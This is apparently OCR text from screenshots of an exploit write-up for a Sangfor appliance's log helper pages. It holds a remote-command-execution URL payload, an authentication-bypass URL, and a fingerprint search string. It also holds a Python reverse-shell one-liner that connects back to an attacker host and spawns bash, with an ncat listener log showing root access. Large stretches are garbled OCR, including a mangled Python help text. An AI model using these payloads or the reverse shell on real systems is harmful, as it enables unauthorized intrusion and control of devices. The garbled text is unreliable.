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payload: https://127.0.0.1/tool/log/c.php?strip_slashes=system&host=Is

Log Helper

c.php l.php

Host : |l.php | - host, e.g. 127.0.0.1

Path : (= path regex, e.g. mapreduce
Row @ - row regex, e.g. \s[w|e]\s
Limit: | 1000 - top n, e.g. 100

[ 235 |
[ZiE#shellf9iE, bashE2A4FHER), aILUERpython, R A pythonflnc,

Log Hedpar

usage: python [option] ... [=c cmd | =m mod | fie | =] [ang] ... Options: and arguments {and cormesponding smvironmant variables): =B : don't weite pyleo] files on import; also PYTHOKDONTWRITERYTECODE «x = omd ; program pessed in
a5 siring (tarminates aptian list) -d : debug outpud from parser; alse PYTHONDEBUG=x ~E - ignate PYTHON® anvironmant varlables [such as PYTHONPATH] -h - print this help message and oxit [alse —-halp) -1 : inspect interactivaly atter
running eotipd; forces @ prompt even if stdin does ot appear to be a teminal; also PYTHOMINSPECT=x ~m mod : mun library module 8 3 script (berminates option list) -0 : optimize generated bytecode sightly; also PYTHOMOPTIMIZE=x
-00 : remove doc-sirings in addition ta the -0 optimizations -R : use a pseudo-random salt to make hash(] values of various types be unpredictable between separate imvocations of the interpreter, as o defense against denial—of-
sarvice aitacks -0 ang © division cptions: -Gold (default], -Gwarn, —Owamall, -Cinew -4 : don't add user site direciony to sya paih; slso PYTHONNOUSERSITE -5 - don't Imply ‘import site’ on inftialization -1 - Esue warmings sbout
nconaistent 1ad uBape (-t 4506 BrTors) —u @ unbiffored bnary stdout and sMeT; Bis0 PYTHONUNBUFFERED=x seo man page for detads on inomal bufferng relting 1o "-u' —v : vrbose (Irece Imgort statements); also

FY THONVERBOSE=x can be suppliod mustiple times 10 incrapse wirbosity -V © print the Python varsion number and st [also ——version) -W arg © waming control, ang |s action:massage:category moduls linena alsa
PYTHONWARNINGS=prg —x ; skip first ine of source, allowing use of non-Link forms of #lomd =3 ; wam about Python 3x incompatibilities that 2t03 cannot irivially fix file ; program read from script file - : program read from stdin
{default; Intaractive mode i a fiy} arg ... arguments passed to program in sysarg L] Other ervironment variables: PYTHONSTARTUP: file executed on interactive startup {no default] PYTHONPATH ; ;'-separated list of directories
prefumd to the default module seanch path. The result is sys.path. PYTHONHOME : altermate directony (or 1), The default moduls search path uses /pythond X PYTHONCASECK : ignore case in 'import’ statements (Windows).
PYTHONIOENCODING: Encodingl-amors] used for stdin/stdout/stderr. PYTHONHASHSEED: if this variabke i sat to ‘random’, the effect is the same as specifying the -R option: a random value ks wsed 1o seed the hashes of atr, bytes and
datatime abjects. It can sl ba st 10 an iMeEs in the rangs [0,4204967295] to gat hish vahsss with & redctabis seed.
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{EEApythonfzsishell :

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK STREA
);s.connect((‘ip’,port));o0s.dup2(s.fileno(),0);0s.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);p=subproc
ss.call(['/bin/bash’,'-i']);"

[root@iZjocdgcs: § willed " i "z ~]# ncat -lvvp
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on ::.™%._

Ncat: Listening on 0.0.0.0..~.8

Ncat: Connection from “°4 “*~ 42 171

Ncat: Connection from <“K "2..9.1,5 "d=.
bash: no job control in this shell
[root@sangfor logl# 1s

1s

c.php

1.php

[root@sangfor log]# cd ..
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payload: 127.0.0.1/ui/index.php?user=admin
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*§EFIEE: body="Google Tag Manager Ui Z538 “
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